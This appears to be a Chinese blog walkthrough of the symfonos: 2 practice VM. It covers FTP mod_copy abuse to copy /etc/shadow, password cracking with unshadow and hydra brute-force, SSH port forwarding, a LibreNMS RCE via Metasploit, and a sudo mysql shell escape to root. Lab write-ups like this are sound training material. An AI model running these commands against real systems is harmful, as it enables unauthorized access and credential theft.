symfonos2靶机-Walkthrough

symfonos: 2

靶机地址

工具和知识点

nmap
dirb
smbmap
unshadow
hydra
ProFTPd 1.3.5 mod_copy漏洞
SSH 本地端口转发
LibreNMS RCE漏洞
mysql提权

一、信息收集

靶机开机后就显示了IP地址,所以也就不用找了。

nmap -sS -sV -A -p- 192.168.0.108

nmap1nmap2

ProFTPd 1.3.5
WebFS httpd 1.21
139/445 Samba smbd
命令执行、远程命令执行、文件拷贝

ProFTPd 1.3.5

ProFTPd 1.3.5

缓冲区溢出

WebFS

SMB

smb

目录爆破

dirb http://192.168.0.108

dirb

二、探索SMB

查看anonymous文件夹中的文件
smb
不需要输入密码,因为权限是READ ONLY,里面有个backups文件夹,进去之后发现有个日志文件log.txt,看看日志文件里有什么
log
可以看到执行了两条命令

cat /etc/shadow > /var/backups/shadow.bak
cat /etc/samba/smb.conf

从shadow文件中读取了用户的密码,然后保存到了backups文件夹中的shadow.bak文件,如果没有猜错的话,这个backups文件夹应该和上面的backups文件夹是同一个。结合上面ProFTPd的文件拷贝漏洞,所以我现在的思路就是把这个shadow.bak文件拷贝出来,然后破解用户的密码。

拷贝shadow.bak

exploit-db上的没看懂怎么利用ProFTPd 1.3.5 ‘mod_copy’

github上这个是个RCE,但是漏洞编号CVE-2015-3306是一样的,可是因为我不知道web根目录是哪个

To exploit this target just run:

./exploit.py --host HOST --port PORT --path PATH

If you are using this vulnerable image, you can just run:

./exploit.py --host 127.0.0.1 --port 21 --path "/var/www/html/"

然而我这里卡住了,虽然我知道有ProFTPd 1.3.5的文件拷贝漏洞,但是我TMD不知道怎么连接上去,之后我才知道我是多么的low,直接先登录。登录的时候遇到输入密码的一路回车就好

ftp 192.168.0.108

执行了一些命令,都是提示没有权限
ftpd从github上找了个脚本cpx_protfpd
,也是各种错误。
cpx后来想了想应该是某些目录没有写入的权限,因为后面我把shadow.bak拷贝到/home/aeolus/share文件夹的时候都是可以的,登录靶机后也验证了上面的猜测。
html
回到之前log.txt文件,我们其实可以看到anonymous对应的共享目录的是/home/aeolus/share,那么既然我们只是为了取回shadow.bak文件,那么能不能先把这个文件拷贝到share目录下,然后再用smb获取shadow.bak文件?
share
cpx_proftp或者
ftpshadow
经过验证,发现上面两种方式都可以,其实那个脚本做的事情跟我们自己在ftp里面执行的命令是一样的,但却是提高了效率,主要代码如下:
command
同样,我们把/etc/passwd里面的内容也弄下
passwd有了这两个文件我们就可以尝试着破解密码了

密码爆破

这个地方我们先用了unshadow这个工具整合一下两个文件

unshadow pass.txt shadow.txt > hash.txt

将生成的结果与两个源文件对比一下就会发现这个unshadow只是把一些不必要的信息去掉了
hydra关于获取shadow文件后如何爆破,详情参见
crack-shadow-hashes-after-getting-root-linux-system-0186386

获取到了aeolus用户的密码,直接SSH过去

三、提权初试之ping命令

发现这个用户无法执行sudo命令,不然我们就可以通过sudo su -命令直接切换到root用户了sudo
去home目录下扫荡一下
home

linuxprivchecker脚本

想到了之前使用过的一个有助于linux权限提升的脚本linuxprivchecker.py,用一下

先在kali开启HTTP服务,然后在靶机上使用wget下载脚本到靶机上。

sudo python -m SimpleHTTPServer 80 # kali上执行
wget http://192.168.0.107/Desktop/linuxprivchecker.py # 靶机上执行

计划任务之php

看到了一个root权限执行的计划任务
php
发现这个计划任务我们也用不上
cat php

SUID权限之ping

然后看到了许多SUID权限的命令
suid
这里我想到了之前有过用/bin/ping来提权
确认一下是否有SUID权限
ping

开始ping提权

确认tmp目录可读写
tmp
建立硬链接的时候提示操作不被允许
link这个地方我也不知道咋回事

四、换个思路

又是一次失败的经历,我看了别人的writeup

在smb.conf配置文件里面发现了两个服务器上的用户:aeolus、ftp
aeolus
ftp

密码爆破

这里可以hydra进行爆破

hydra -l aeolus -P /usr/share/wordlists/rockyou.txt ftp://192.168.0.108

hydra -l aeolus -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.108

使用爆破出的账户密码SSH登录靶机
因为前面已经运行过linuxprivichecker.py脚本了,所以这里就不重复说了。

后面的端口转发我现在还理解不了怎么会发现这个思路的……

8080端口转发

发现靶机上安装了nmap,然后nmap扫了一下靶机本身……
toolslocalhostlocalhost2
然后发现8080端口开启了HTTP服务,但是呢,这个网站只能本地访问,我也不知道是怎么看出来的……感觉自己菜的安详

这个作者给的提示是,尝试访问靶机上运行的一个Web服务,那自然不会是80端口上运行的WebFS,而是Apache2。于是打开了/etc/apache2文件夹,发现里面有一个ports.conf文件
ports接下来需要进行端口转发
关于SSH的端口转发,找了篇老外写的文章ssh_tunneling,虽然本人现在在英语方面是个菜鸡

ssh -L 8080:127.0.0.1:80 [email protected]

解释一下:

-L 表示本地转发
8080指的是攻击机上监听的端口
127.0.0.1:80指的是将靶机(192.168.0.108)的80端口转发
然后我们就可以在攻击机的浏览器上通过浏览器访问localhost:8080

出错了,bind: Address already in use,然后我在这个地方菜的安详了好一会儿……[捂脸]
port
然后我在自己的宿主机上执行了上面的命令,一模一样

转发8080端口也就是Apache2服务
librenms
想哭……

那么问题来了,为什么会出现这样的问题?仔细对比了一下发现,我在kali里面是先用SSH登录的靶机,然后之后的端口转发命令都是在SSH登录靶机的前提下输入,等于说是把靶机上的80端口(或8080端口)转发到它自己的8080端口(或80端口)上,所以才会出现bind: Address already in use。究其原因还是没有理解端口转发的原理,才会出这样的笑话。我真是菜的安详……

转发80端口,对应的服务也就是WebFS
WebFS

SHELL反弹

转入正题,上面发现网站使用的是LibreNMS
然后我用前面破解到的账户密码登录一下,发现可以进去,然而进去之后也没啥用,不过证实了系统的账户秘密这里也可以用

搜一下发现有一个远程代码执行漏洞

searchsploit librenms

librenms

以下在metasploit中进行

msf1msf2

mysql提权

mfs3可以看到这里切换了一个用户,也不知道是怎么做到的,然后sudo -l查看了一下可以执行哪些特殊权限的命令,发现能够以root权限执行mysql

下面祭出找到的一个神站GTFOBins,看一下描述就知道为啥这么说了。

GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
The project collects legitimate functions of Unix binaries that can be abused to get the f**k break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. See the full list of functions.
This was inspired by the LOLBAS project for Windows.
GTFOBins is a collaborative project created by norbemi and cyrus_and where everyone can contribute with additional binaries and techniques.

我们可以直接搜索
mysqlmysql2root
或者

sudo mysql -e '\! /bin/sh'

proof

发布了41 篇原创文章 · 获赞 14 · 访问量 7942

猜你喜欢

转载自blog.csdn.net/weixin_44214107/article/details/100587936